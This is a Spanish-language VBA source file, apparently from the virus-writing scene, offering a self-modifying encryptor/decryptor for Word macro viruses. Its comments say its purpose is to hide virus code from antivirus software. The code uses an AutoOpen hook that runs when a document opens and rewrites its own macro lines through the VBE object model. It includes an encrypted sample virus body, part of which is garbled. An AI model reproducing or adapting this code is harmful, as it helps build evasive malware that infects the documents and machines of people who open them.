'Encriptador/Desencriptador para makroviruz
'Faximiles Biokimikos por "pr0t0z00" xD

'DeZcripZion
'Este es un encriptador diseado para ser utilizado en viruzes de macro.
'Puedes utilizar este encriptador para aadirlo a kualkier macro viruz
'solo devez escribir el codigo del virus en la sub Viruz despues del CALL ENCDESC.
'La intencion de este encriptador es ocultar el codigo de tu viruz a los ojos intrusos
'incluyendo a los putos ANTIVIRUZ. ;)

'Importante
'No deves insertar mas subs tampoco deves insertar lineas en las otras subs
'amenos que se trate de la sub Virus y solo despues del CALL ENCDESC.

---------------------------------- Cortar aqui -------------------------------------------
Sub AutoOpen()
Call EncDesc
Call Virus
End Sub
Sub Virus()
Call EncDesc
'ID@@@ '(Viruz de ejemplo encriptado)
'ID\@ʈ\؜X@ب\؜X@
'IDDDX@Ȟ
'ID\@ب\؜X@ʈ\؜X@
'IDDDX@Ȟ
'linea sin encriptar para gurdar el archivo infectado
End Sub
Function EncDesc()
For ACM = 1 To Application.VBE.CodePanes.Count
If Application.VBE.CodePanes(ACM).codemodule.Lines(2, 1) = "Call EncDesc" Then
Set X8nZ = Application.VBE.CodePanes(ACM).codemodule
For h = 7 To X8nZ.CountOfLines - 26
a$ = X8nZ.Lines(h, 1)
For I = 1 To Len(a$)
If Left(X8nZ.Lines(h, 1), 1) = "'" Then
char = Chr(Asc(Mid(a$, I, 1)) / 2): GoTo 2
End If
char = Chr(Asc(Mid(a$, I, 1)) * 2)
2: linea = linea + char
Next I
X8nZ.DeleteLines h, 1
If Mid(linea, 2, 1) = "$" Then
X8nZ.InsertLines h, Mid(linea, 4, Len(linea))
GoTo 3
End If
X8nZ.InsertLines h, "'ID" + linea
3: linea = vbu
Next h
End If
Next ACM
End Function

---------------------------------- Cortar aqui -------------------------------------------